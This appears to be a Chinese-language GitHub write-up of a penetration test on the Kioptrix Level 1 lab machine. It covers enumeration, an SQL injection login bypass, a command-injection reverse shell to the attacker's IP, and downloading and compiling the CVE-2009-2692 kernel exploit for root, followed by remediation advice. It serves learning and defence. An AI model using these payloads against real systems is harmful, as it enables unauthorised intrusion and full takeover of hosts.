8Prashant88/kioptrix-level1-writeup
GitHub: 8Prashant88/kioptrix-level1-writeup
一份面向新手的 Kioptrix Level 1 靶机渗透测试完整报告,详细演示了从信息收集到提权至 root 的全流程攻击链与思考过程。
Stars: 0 | Forks: 0
# Kioptrix Level 1 — 渗透测试报告
这是一份关于在隔离的家庭实验室中攻破 **Kioptrix Level 1** 漏洞机器 (VulnHub) 的完整、适合新手的详细教程。这份报告不仅仅是列出命令,而是梳理了整个**思考过程** —— 我在每个阶段寻找什么、如何发现每个漏洞,以及一个发现是如何引出下一个发现的 —— 遵循了完整的方法论:**信息收集 → 枚举 → 漏洞利用 → 权限提升 → root**。
## 目录
1. [什么是 Kioptrix Level 1?](#what-is-kioptrix-level-1)
2. [方法论概览](#methodology-at-a-glance)
3. [实验室配置](#lab-setup)
4. [步骤 1 — 主机发现](#step-1--host-discovery)
5. [步骤 2 — 服务与操作系统枚举](#step-2--service--os-enumeration)
6. [步骤 3 — 初始访问 (Web 漏洞利用)](#step-3--initial-access--web-application-exploitation)
7. [步骤 4 — 寻找并武器化权限提升漏洞](#step-4--finding--weaponising-the-privilege-escalation-exploit-cve-2009-2692)
8. [替代路径 — Samba trans2open](#alternative-path--samba-trans2open-cve-2003-0201)
9. [攻击链总结](#attack-chain-summary)
10. [修复建议](#remediation-recommendations)
11. [我的心得体会](#what-i-learned)
## 什么是 Kioptrix Level 1?
Kioptrix Level 1 是 VulnHub 上最受欢迎的新手级 boot-to-root 机器之一,被广泛用于 OSCP 的备考。目标是在仅拥有网络访问权限的情况下,从零开始获取 `root`(完全的管理控制权)。它运行着一个基于 CentOS 的旧版 Linux 系统,并包含几个过时的、被故意留下的易受攻击的服务,这使其成为学习完整渗透测试工作流程的绝佳选择。
## 方法论概览
渗透测试中的每一步都在回答一个简单的问题,而答案决定了下一步的行动:
1. **网络上有什么?** → 找到目标的 IP。
2. **上面运行着什么?** → 枚举端口、服务和版本。
3. **其中哪些是薄弱的?** → 研究每个服务/版本的已知缺陷。
4. **我该如何潜入?** → 利用弱点建立初始立足点。
5. **我如何成为 root?** → 利用另一个弱点提升权限。
以下部分完全遵循这一推理链条。
## 实验室配置
| 角色 | 主机 | IP |
|------|------|----|
| 攻击者 | Kali Linux | 192.168.1.64 |
| 目标 | Kioptrix Level 1 | 192.168.1.99 |
**使用的工具:** netdiscover, Nmap, searchsploit, Python HTTP server, wget, gcc, netcat。
## 步骤 1 — 主机发现
**我要回答的问题:** *目标在网络上的哪个位置?*
在攻击任何东西之前,我需要知道它的 IP 地址。我使用 **netdiscover** 进行了基于 ARP 的扫描,它会被动/主动地监听 ARP 响应,以映射本地子网上的每台存活主机。出现了两台主机 —— 我自己的机器和一个位于 `192.168.1.99` 的未知设备,这就是目标。

## 步骤 2 — 服务与操作系统枚举
**我要回答的问题:** *目标上运行着什么,它的版本有多旧?*
既然已经有了 IP,我就开始绘制它的攻击面。我运行了带有版本检测 (`-sV`) 和操作系统检测 (`-O`) 的 Nmap 扫描,因为了解**确切的软件版本**能让我随后查找已知的漏洞:
```
nmap -sV -O 192.168.1.99
```
**关键发现:**
| 端口 | 服务 | 版本 |
|------|---------|---------|
| 22/tcp | ssh | OpenSSH 3.9p1 (protocol 1.99) |
| 80/tcp | http | Apache httpd 2.0.52 (CentOS) |
| 111/tcp | rpcbind | RPC #100000 |
| 443/tcp | ssl/http | Apache httpd 2.0.52 (CentOS) |
| 631/tcp | ipp | CUPS 1.1 |
| 3306/tcp | mysql | MySQL |
**操作系统检测:** Linux kernel 2.6.9 – 2.6.30 (CentOS)。
**这告诉我:** 这里的每个版本都非常古老。Apache 2.0.52 和 OpenSSH 3.9p1 都已经有十多年的历史了,而 Linux 2.6 内核是后续本地权限提升漏洞的一个巨大危险信号。有两样东西作为最有希望的切入点引起了我的注意:**端口 80 上的 Web 服务器**(可以直接在浏览器中与之交互)和**旧版内核**(一旦我进入系统,这很可能是通向 root 的路径)。我记下了这两点,并从 Web 应用程序开始。

## 步骤 3 — 初始访问 — Web 应用程序漏洞利用
**我要回答的问题:** *我能把这个 Web 服务器变成一个立足点吗?*
浏览该 Web 服务器时,我发现了一个 **Remote System Administration Login** 页面。对于任何登录表单,我的第一直觉都是测试是否存在 **SQL injection** —— 这是一种将用户输入直接放入数据库查询中的缺陷。如果表单存在漏洞,我就可以让查询始终返回 true,从而在无需凭据的情况下登录。我在用户名字段中尝试了经典的身份验证绕过 payload:
```
admin' or 1=1 #
```
`'` 闭合了字符串,`or 1=1` 使条件始终为真,而 `#` 注释掉了查询的其余部分(包括密码检查)。它生效了。

在内部,我进入了一个 **Basic Administrative Web Console**,其中包含一个“Ping a Machine on the Network”功能。任何接受用户输入并似乎会运行系统命令(如 `ping`)的功能都是 **command injection** 的首选目标。我测试了是否可以将自己的命令链接到输入中,并利用它向我的攻击机启动了一个 **reverse shell**:
```
| sh -i >& /dev/tcp/192.168.1.64/4444 0>&1
```
前导的 `|` 管道至一个新 shell,而 `/dev/tcp/192.168.1.64/4444` 在 4444 端口上打开了反向连接回我的 Kali 机器的连接。

我在攻击者端准备了一个监听器来接收它,这让我在目标上获得了一个低权限 shell:
```
nc -lvnp 4444
```
## 步骤 4 — 寻找并武器化权限提升漏洞 (CVE-2009-2692)
**我要回答的问题:** *我已经以低权限用户身份进来了 —— 我该如何成为 root?*
我的 shell 是以低权限的 Web 用户身份运行的,所以我需要提权。我没有盲目猜测,而是回到了枚举阶段的一个具体线索:**Linux 2.6 kernel**。旧内核有着记录详尽的本地权限提升漏洞,因此这是最顺理成章的研究对象。
**我如何搜索漏洞:** 我使用了 **searchsploit**(Kali 上的 Exploit-DB 数据库离线副本)来寻找与该内核匹配的本地漏洞利用程序。Linux 2.6 分支受到著名的 **sock_sendpage()** 漏洞(**CVE-2009-2692**)影响,searchsploit 为指向了漏洞利用程序 **9545.c**。我使用 `-m` 将其复制到了我的工作目录:
```
searchsploit linux kernel 2.6 local # browse matching local exploits
searchsploit -m linux/local/9545.c # copy exploit 9545.c locally
```
该条目准确确认了我想要的内容:**CVE-2009-2692 / EDB-9545**,已验证,C 源码。

**我如何将漏洞利用程序传到目标上:** 该漏洞利用程序是 C 源代码,必须*在受害者机器上*编译,因此我首先通过 HTTP 从我的攻击机上进行提供,然后通过我的 reverse shell 将其下载下来,编译并运行:
```
# 在攻击者 (Kali) 上 — 托管 exploit
python3 -m http.server 8000
# 在目标上 (通过 reverse shell) — 获取、编译、运行
cd /tmp
wget 192.168.1.64:8000/9545.c
gcc -o exploit 9545.c
chmod +x exploit
./exploit
whoami # => root
```
*(我遇到的一个小陷阱:模块名是 `http.server`,而不是 `httpserver` —— 直到弄清楚精确的语法之前,早期的尝试都失败了。)*
漏洞利用成功,将我从受限的 Web 用户提升为了 **root** —— 彻底攻陷了这台主机。

## 替代路径 — Samba trans2open (CVE-2003-0201)
Kioptrix Level 1 出名的另一个原因是通过其老旧的 **Samba** 服务存在第二条完全不同的通向 root 的路径。旧版 Samba 2.2.x 版本容易受到 **trans2open** 缓冲区溢出(**CVE-2003-0201 / OSVDB-8306**)的影响,该漏洞可以被利用(例如通过 Metasploit 模块或公开的漏洞利用程序)以直接获取 **root shell**,而无需单独的提权步骤。
我在上面记录了 Web 应用程序 → 内核漏洞利用的路径,因为那是我实际执行的路线。了解这两条路径的存在是值得的:Samba 路线通常是最快的“预期”解决方案,而 Web + 内核漏洞利用路线则展示了更广泛的技术和推理链条。
## 攻击链总结
从未经身份验证的网络位置开始,该目标被完全攻陷:
```
reconnaissance -> service enumeration -> web app exploitation (SQLi + command injection)
-> reverse shell -> kernel privilege escalation (CVE-2009-2692) -> root
```
每一步都由前一步的发现所驱动:开放的 Web 端口导致了 SQLi 和 command injection;而在枚举期间发现的旧内核直接指向了权限提升漏洞利用。
## 修复建议
- **积极打补丁:** 升级 Linux kernel、Apache 和 Samba,以消除已知的 CVE(例如 CVE-2009-2692、CVE-2003-0201)。
- **修复 SQL injection:** 使用参数化查询/预编译语句;绝不要使用原始用户输入拼接构建 SQL。
- **修复 command injection:** 验证并清理所有输入,避免将用户输入传递给 shell 命令,并使用安全的 API 代替 shelling out。
- **最小权限与网络隔离:** 对管理界面进行限制和网络隔离,并尽可能以非 root 用户身份运行服务。
- **禁用未使用的服务:** 关闭不需要的端口/服务(例如旧版 RPC、CUPS、Samba)。
## 我的心得体会
通过实践完整的攻击链,我加深了对攻击者战术、技术和程序 (TTPs) 的理解 —— 同样重要的是,加深了对连接这些要素的**推理**的理解。了解每一个发现是如何推动下一步决策的,直接增强了我的 SOC/蓝队工作:理解入侵实际上是如何展开的,能让警报分类、日志分析和威胁检测变得更加敏锐。
*作者:Prashant Sapkota。出于教育目的,在合法的隔离家庭实验室内进行。*
标签:CISA项目, CTI, Facebook API, Web报告查看器, 协议分析, 密码管理, 插件系统, 数据展示, 权限提升, 红队, 靶场_writeup